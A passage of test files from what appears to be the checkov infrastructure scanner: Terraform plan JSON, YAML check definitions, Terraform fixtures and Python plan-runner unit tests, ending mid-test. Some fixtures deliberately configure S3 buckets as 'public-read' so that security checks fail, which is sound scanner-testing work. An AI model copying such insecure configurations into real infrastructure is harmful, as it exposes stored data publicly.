"resource_changes": [ { "address": "aws_eks_node_group.test", "mode": "managed", "type": "aws_eks_node_group", "name": "test", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "cluster_name": "test", "force_update_version": null, "labels": null, "launch_template": [], "node_group_name": "example", "node_role_arn": "example-arn", "remote_access": [], "scaling_config": [ { "desired_size": 1, "max_size": 1, "min_size": 1 } ], "subnet_ids": [ "subnet-ids" ], "tags": null, "timeouts": null }, "after_unknown": { "ami_type": true, "arn": true, "capacity_type": true, "disk_size": true, "id": true, "instance_types": true, "launch_template": [], "release_version": true, "remote_access": [], "resources": true, "scaling_config": [ {} ], "status": true, "subnet_ids": [ false ], "version": true } } } ], "configuration": { "root_module": { "resources": [ { "address": "aws_eks_node_group.test", "mode": "managed", "type": "aws_eks_node_group", "name": "test", "provider_config_key": "aws", "expressions": { "cluster_name": { "constant_value": "test" }, "node_group_name": { "constant_value": "example" }, "node_role_arn": { "constant_value": "example-arn" }, "scaling_config": [ { "desired_size": { "constant_value": 1 }, "max_size": { "constant_value": 1 }, "min_size": { "constant_value": 1 } } ], "subnet_ids": { "constant_value": [ "subnet-ids" ] } }, "schema_version": 0 } ] } } } ================================================ FILE: tests/terraform/runner/resources/unexpected/unexpected.md ================================================ # Unexpected This folder is for different cases of test runner test data where the input HCL is maybe unexpectedly transformed when you see the json representation. This area can be used to verify that certain checks are robust in catching issues which can't be caught by unit testing the HCL input level alone. ## eks_node_group_remote_access ### Description `remote_access` is omitted in HCL. But is represented as `remote_access: [ ]` in the Plan. This needs to be taken in to account when writing the check. ### HCL Input ``` resource "aws_eks_node_group" "test" { cluster_name = "test" node_group_name = "example" node_role_arn = "example-arn" subnet_ids = ["subnet-ids"] scaling_config { desired_size = 1 max_size = 1 min_size = 1 } } ``` ### JSON Output [eks_node_group_remote_access.json](eks_node_group_remote_access.json) ================================================ FILE: tests/terraform/runner/resources/unrendered_vars/bucket_equals.yaml ================================================ metadata: id: "BUCKET_EQUALS" name: "Ensure S3 bucket name is xyz" category: "general" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "bucket" operator: "equals" value: "xyz" ================================================ FILE: tests/terraform/runner/resources/unrendered_vars/bucket_exists.yaml ================================================ metadata: id: "BUCKET_EXISTS" name: "Ensure S3 bucket name is present" category: "general" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "bucket" operator: "exists" ================================================ FILE: tests/terraform/runner/resources/unrendered_vars/component_equals.yaml ================================================ metadata: id: "COMPONENT_EQUALS" name: "Ensure S3 bucket has a component tag" category: "general" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.component" operator: "equals" value: "xyz" ================================================ FILE: tests/terraform/runner/resources/unrendered_vars/component_exists.yaml ================================================ metadata: id: "COMPONENT_EXISTS" name: "Ensure S3 bucket has a component tag" category: "general" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.component" operator: "exists" ================================================ FILE: tests/terraform/runner/resources/unrendered_vars/nested.tf ================================================ variable "tags_without_component" { default = { something = "something" } } variable "tags_with_component" { default = { component = "xyz" } } variable "component" { default = "xyz" } resource "aws_s3_bucket" "unknown_nested_unknown" { tags = var.unknown_tags } resource "aws_s3_bucket" "unknown_nested_2_pass" { tags = { component = var.unknown_component } } resource "aws_s3_bucket" "known_nested_pass" { tags = var.tags_with_component } resource "aws_s3_bucket" "known_nested_2_pass" { tags = { component = var.component } } resource "aws_s3_bucket" "known_nested_fail" { tags = var.tags_without_component } ================================================ FILE: tests/terraform/runner/resources/unrendered_vars/simple.tf ================================================ variable "bucket" { default = "xyz" } resource "aws_s3_bucket" "unknown_simple" { bucket = var.unknown_bucket } resource "aws_s3_bucket" "known_simple_pass" { bucket = var.bucket } ================================================ FILE: tests/terraform/runner/resources/valid_tf_only_failed_checks/example_acl_fail.tf ================================================ resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } versioning { enabled = true } logging { target_bucket = "${aws_s3_bucket.log_bucket.id}" target_prefix = "log/" } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "${aws_kms_key.mykey.arn}" sse_algorithm = "aws:kms" } } } acl = "public-read" } data "aws_caller_identity" "current" {} ================================================ FILE: tests/terraform/runner/resources/valid_tf_only_module_usage/example.tf ================================================ module "some-module" { source = "git::ssh://github.com/example/module//s3/s3-logging?ref=tags/1.0.0" } ================================================ FILE: tests/terraform/runner/resources/valid_tf_only_passed_checks/example.tf ================================================ resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name force_destroy = true versioning { enabled = true mfa_delete = true } logging { target_bucket = "${aws_s3_bucket.log_bucket.id}" target_prefix = "log/" } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "${aws_kms_key.mykey.arn}" sse_algorithm = "aws:kms" } } } acl = "private" tags = merge( var.common_tags, { name = "VM Virtual Machine" group = "foo" } ) } data "aws_caller_identity" "current" {} provider "kubernetes" { version = "1.10.0" host = module.aks_cluster.kube_config.0.host client_certificate = base64decode(module.aks_cluster.kube_config.0.client_certificate) client_key = base64decode(module.aks_cluster.kube_config.0.client_key) cluster_ca_certificate = base64decode(module.aks_cluster.kube_config.0.cluster_ca_certificate) } module "new_relic" { source = "s3::https://s3.amazonaws.com/my-artifacts/new-relic-k8s-0.2.5.zip" kubernetes_host = module.aks_cluster.kube_config.0.host kubernetes_client_certificate = base64decode(module.aks_cluster.kube_config.0.client_certificate) kubernetes_client_key = base64decode(module.aks_cluster.kube_config.0.client_key) kubernetes_cluster_ca_certificate = base64decode(module.aks_cluster.kube_config.0.cluster_ca_certificate) cluster_name = module.naming_conventions.aks_name new_relic_license = data.vault_generic_secret.new_relic_license.data["license"] cluster_ca_bundle_b64 = module.aks_cluster.kube_config.0.cluster_ca_certificate module_depends_on = [null_resource.delay_aks_deployments] } ================================================ FILE: tests/terraform/runner/resources/valid_tf_only_passed_checks/example_skip_acl.tf ================================================ resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name force_destroy = true #checkov:skip=CKV_AWS_20:The bucket is a public static content host tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } versioning { enabled = true } logging { target_bucket = "${aws_s3_bucket.log_bucket.id}" target_prefix = "log/" } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "${aws_kms_key.mykey.arn}" sse_algorithm = "aws:kms" } } } acl = "public-read" } data "aws_caller_identity" "current" {} ================================================ FILE: tests/terraform/runner/resources/valid_tf_only_resource_usage/example.tf ================================================ resource "type_1" "resource" { a = 1 } resource "type_2" "resource" { b = 2 } ================================================ FILE: tests/terraform/runner/test_plan_runner.py ================================================ import itertools import os import unittest from collections import defaultdict from copy import deepcopy from pathlib import Path from typing import Dict, Any from unittest import mock from parameterized import parameterized_class # do not remove - prevents circular import from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import BcSeverities, Severities from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.common.models.enums import CheckCategories, CheckResult from checkov.runner_filter import RunnerFilter from checkov.terraform import TFDefinitionKey from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.terraform.plan_runner import Runner, resource_registry from checkov.terraform.plan_utils import get_entity_id @parameterized_class([ {"db_connector": NetworkxConnector}, {"db_connector": RustworkxConnector}, ]) class TestRunnerValid(unittest.TestCase): @classmethod def setUpClass(cls) -> None: cls.orig_checks = deepcopy(resource_registry.checks) cls.orig_all_registered_checks = deepcopy(BaseCheckRegistry._BaseCheckRegistry__all_registered_checks) cls.db_connector = cls.db_connector def test_py_graph_check(self): if not self.db_connector == RustworkxConnector: return current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/py_graph_check_tf_plan" valid_dir_path_for_external_check = current_dir + '/py_check_tf_plan' runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_99999'] report = runner.run(root_folder=valid_dir_path, external_checks_dir=[valid_dir_path_for_external_check], runner_filter=RunnerFilter(framework=["terraform_plan"], checks=checks_allowlist)) assert len(report.passed_checks) == 3 def test_runner_two_checks_only(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan/tfplan.json" runner = Runner(db_connector=self.db_connector()) checks_allowlist = ["CKV_AWS_21"] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"], checks=checks_allowlist), ) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) for record in report.failed_checks: self.assertIn(record.check_id, checks_allowlist) self.assertEqual(report.get_summary()["failed"], 3) self.assertEqual(report.get_summary()["passed"], 3) def test_tf_plan_filtered_rule(self): if not self.db_connector == RustworkxConnector: return current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan/tf_plan_filtered_rule_success.json" runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_300'] report = runner.run(files=[valid_plan_path], runner_filter=RunnerFilter(framework=["terraform_plan"], checks=checks_allowlist)) assert len(report.passed_checks) == 1 def test_tf_plan_filtered_rule(self): if not self.db_connector == RustworkxConnector: return current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan/tf_plan_filtered_rule_fail.json" runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_300'] report = runner.run(files=[valid_plan_path], runner_filter=RunnerFilter(framework=["terraform_plan"], checks=checks_allowlist)) assert len(report.failed_checks) == 1 def test_runner_record_severity(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan/tfplan.json" runner = Runner() custom_check_id = "MY_CUSTOM_CHECK" resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["aws_db_instance"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] checks_allowlist = [custom_check_id] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=checks_allowlist), ) self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW]) def test_runner_check_severity_filter_omit(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan/tfplan.json" runner = Runner() custom_check_id = "MY_CUSTOM_CHECK" resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["aws_db_instance"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] checks_allowlist = ['MEDIUM'] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=checks_allowlist), ) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_runner_check_severity_filter_include(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan/tfplan.json" runner = Runner() custom_check_id = "MY_CUSTOM_CHECK" resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["aws_db_instance"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] checks_allowlist = ['MEDIUM'] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=checks_allowlist), ) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_runner_check_skip_filter_omit(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan/tfplan.json" runner = Runner() custom_check_id = "MY_CUSTOM_CHECK" resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["aws_db_instance"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] checks_denylist = ['MEDIUM'] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], skip_checks=checks_denylist), ) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_runner_check_skip_filter(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan/tfplan.json" runner = Runner() custom_check_id = "MY_CUSTOM_CHECK" resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["aws_db_instance"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] checks_denylist = ['MEDIUM'] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], skip_checks=checks_denylist), ) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_plan_runner_with_empty_vpc_connection(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan/tfplan.json" runner = Runner() runner.graph_registry.checks = [] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"]), ) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) self.assertEqual(report.get_summary()["failed"], 107) def test_runner_child_modules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_with_child_modules/tfplan.json" runner = Runner() runner.graph_registry.checks = [] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"]), ) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) self.assertEqual(report.get_summary()["failed"], 3) self.assertEqual(report.get_summary()["passed"], 5) def test_runner_nested_child_modules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_nested_child_modules/tfplan.json" runner = Runner() runner.graph_registry.checks = [] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=[current_dir + "/extra_yaml_checks"], runner_filter=RunnerFilter(framework=["all"]), ) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) self.assertEqual(report.get_summary()["failed"], 15) self.assertEqual(report.get_summary()["passed"], 3) failed_check_ids = set([c.check_id for c in report.failed_checks]) expected_failed_check_ids = { "CKV_AWS_37", "CKV_AWS_38", "CKV_AWS_39", "CKV_AWS_58", "CUSTOM_GRAPH_AWS_1" } assert failed_check_ids == expected_failed_check_ids # reset graph checks runner.graph_registry.checks = [] runner.graph_registry.load_checks() def test_runner_root_module_resources_no_values(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_root_module_resources_no_values/tfplan.json" runner = Runner() runner.graph_registry.checks = [] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"]), ) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) # 4 checks fail on test data for single eks resource as of present # If more eks checks are added then this number will need to increase correspondingly to reflect # This reasoning holds for all current pass/fails in these tests self.assertEqual(report.get_summary()["failed"], 4) self.assertEqual(report.get_summary()["passed"], 1) failed_check_ids = set([c.check_id for c in report.failed_checks]) expected_failed_check_ids = { "CKV_AWS_37", "CKV_AWS_38", "CKV_AWS_39", "CKV_AWS_58", } assert failed_check_ids == expected_failed_check_ids # reset graph checks runner.graph_registry.checks = [] runner.graph_registry.load_checks() def test_runner_root_module_resources_no_values_route53(self): #given plan_file = Path(__file__).parent / "resources/plan_root_module_resources_no_values/tfplan_route53.json" # when report = Runner().run( root_folder=None, files=[str(plan_file)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=["CKV2_AWS_38", "CKV2_AWS_39"]), ) # then summary = report.get_summary() self.assertEqual(summary["failed"], 1) self.assertEqual(summary["passed"], 1) passed_check_ids = set(c.check_id for c in report.passed_checks) expected_passed_check_ids = {"CKV2_AWS_39"} self.assertCountEqual(passed_check_ids, expected_passed_check_ids) def test_runner_data_resource_partial_values(self): # In rare circumstances a data resource with partial values in the plan could cause false negatives # Often 'data' does not even appear in the *_modules[x].resources field within planned_values and is not scanned as expected # It can occur when tf module B depends on tf module A # And tf module A creates a resource that is used in a data block in tf module B # So some values can be known but other are not at plan time # This can cause the data block resource to be scanned as if it were a managed resource which is not configured correctly # See 'Modes': https://www.terraform.io/docs/internals/json-format.html#values-representation # This test verifies that such a circumstance stops occurring # There is a EKS Managed Resource and a EKS Data Resource # The EKS Managed Resource should have 4 failures corresponding with EKS checks. # The EKS Data Resource should not be scanned. Previously this would cause 8 failures. current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_data_resource_partial_values/tfplan.json" runner = Runner() report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"]), ) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) self.assertEqual(report.get_summary()["failed"], 4) self.assertEqual(report.get_summary()["passed"], 1) failed_check_ids = set([c.check_id for c in report.failed_checks]) expected_failed_check_ids = { "CKV_AWS_37", "CKV_AWS_38", "CKV_AWS_39", "CKV_AWS_58", } assert failed_check_ids == expected_failed_check_ids def test_runner_root_dir(self): current_dir = os.path.dirname(os.path.realpath(__file__)) root_dir = current_dir + "/resources" runner = Runner() report = runner.run( root_folder=root_dir, files=None, external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"]) ) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) self.assertGreaterEqual(report.get_summary()["failed"], 71) self.assertGreaterEqual(report.get_summary()["passed"], 65) files_scanned = list(set(map(lambda rec: rec.file_path, report.failed_checks))) self.assertGreaterEqual(len(files_scanned), 6) def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) root_dir = current_dir + "/resources" runner = Runner() filter = RunnerFilter(framework=['terraform_plan'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.TERRAFORM_PLAN: Severities[BcSeverities.OFF]} report = runner.run( root_folder=root_dir, files=None, external_checks_dir=None, runner_filter=filter ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) def test_record_relative_path_with_relative_dir(self): # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources", "plan") # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner() checks_allowlist = ["CKV_AWS_6"] report = runner.run( root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allowlist), ) all_checks = report.failed_checks + report.passed_checks for record in all_checks: self.assertEqual(record.repo_file_path, f'/{os.path.join(dir_rel_path, record.file_path.lstrip("/"))}') def test_record_relative_path_with_relative_file(self): # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "plan", "tfplan.json") # this is the relative path to the file to scan (what would actually get passed to the -f arg) file_rel_path = os.path.relpath(scan_file_path) runner = Runner() checks_allowlist = ["CKV_AWS_20"] report = runner.run( root_folder=None, external_checks_dir=None, files=[file_rel_path], runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allowlist), ) all_checks = report.failed_checks + report.passed_checks for record in all_checks: self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_runner_unexpected_eks_node_group_remote_access(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/unexpected/eks_node_group_remote_access.json" runner = Runner() report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"]), ) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) self.assertEqual(report.get_summary()["failed"], 0) self.assertEqual(report.get_summary()["passed"], 1) def test_runner_with_resource_reference(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_with_resource_reference/tfplan.json" allowed_checks = ["CKV_AWS_84"] report = Runner().run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"], checks=allowed_checks), ) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) self.assertEqual(report.get_summary()["failed"], 0) self.assertEqual(report.get_summary()["passed"], 1) def test_runner_with_resource_reference_graph_check(self): # given valid_plan_path = Path(__file__).parent / "resources/plan_with_resource_reference/tfplan_graph.json" allowed_checks = ["CKV2_AWS_6"] # when report = Runner().run( root_folder=None, files=[str(valid_plan_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=allowed_checks), ) # then summary = report.get_summary() self.assertEqual(summary["failed"], 0) self.assertEqual(summary["passed"], 1) def test_runner_with_resource_reference_extra_ref(self): # given valid_plan_path = Path(__file__).parent / "resources/plan_with_resource_reference/tfplan_extra_ref.json" extra_checks_dir_path = [str(Path(__file__).parent / "extra_tf_plan_checks")] allowed_checks = ["CUSTOM_CONNECTION_1"] # when report = Runner().run( root_folder=None, files=[str(valid_plan_path)], external_checks_dir=extra_checks_dir_path, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=allowed_checks), ) # then summary = report.get_summary() self.assertEqual(summary["failed"], 1) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 4) def test_runner_skip_graph_when_no_plan_exists(self): # given tf_file_path = Path(__file__).parent / "resource/example/example.tf" # when report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"]), ) # then summary = report.get_summary() self.assertEqual(summary["failed"], 0) self.assertEqual(summary["passed"], 0) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 0) def test_runner_utf_16_encoded(self): # given tf_file_path = Path(__file__).parent / "resources/plan_with_utf_16_encoding/tfplan.json" # when report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"]), ) # then summary = report.get_summary() self.assertGreater(summary["failed"], 0) self.assertGreater(summary["passed"], 0) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) def test_runner_line_numbers(self): # given tf_file_path = Path(__file__).parent / "resources/plan_with_resource_reference/tfplan.json" # when report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"]), ) # then failed_check = report.failed_checks[0] self.assertEqual(failed_check.file_line_range, [13, 19]) def test_runner_ignore_lifecycle_checks(self): # given tf_file_path = Path(__file__).parent / "resources/plan_with_lifecycle_check/tfplan.json" # when report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"]), ) # then self.assertEqual(len(report.failed_checks), 0) def test_runner_extra_check(self): # given current_dir = Path(__file__).parent tf_dir_path = str(current_dir / "resources/plan_with_deleted_resources") extra_checks_dir_path = [str(current_dir / "extra_tf_plan_checks")] # when report = Runner().run( root_folder=tf_dir_path, external_checks_dir=extra_checks_dir_path, runner_filter=RunnerFilter(checks=["CUSTOM_DELETE_1", "CUSTOM_DELETE_2"]) ) # then summary = report.get_summary() self.assertEqual(summary["failed"], 2) resource_ids = [check.resource for check in report.failed_checks] self.assertCountEqual(resource_ids,["aws_secretsmanager_secret.default", "aws_secretsmanager_secret.default"]) # check also the details failed_check = next(check for check in report.failed_checks if check.check_id == "CUSTOM_DELETE_1") self.assertEqual(failed_check.details, ["some great details"]) def test_runner_nested_child_modules_with_connections(self): # given tf_file_path = Path(__file__).parent / "resources/plan_nested_child_modules_with_connections/tfplan.json" passing_resources = { "module.s3_module.module.s3_submodule.aws_s3_bucket.submodule_bucket", "module.s3_module.aws_s3_bucket.module_bucket", "aws_s3_bucket.root_bucket", } failing_resources = { "module.s3_bucket.aws_s3_bucket.this[0]", } # when report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=["CKV2_AWS_6"]), ) # then self.assertEqual(len(report.passed_checks), 3) self.assertEqual(len(report.failed_checks), 1) passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) def test_runner_with_iam_policies(self): # given tf_file_path = Path(__file__).parent / "resources/plan_with_iam_policies/tfplan.json" passing_resources = { "aws_iam_policy.policy_pass", } failing_resources = { "aws_iam_role_policy.fail_1", "aws_iam_group_policy.fail_2", "aws_iam_user_policy.fail_3", } # when report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, 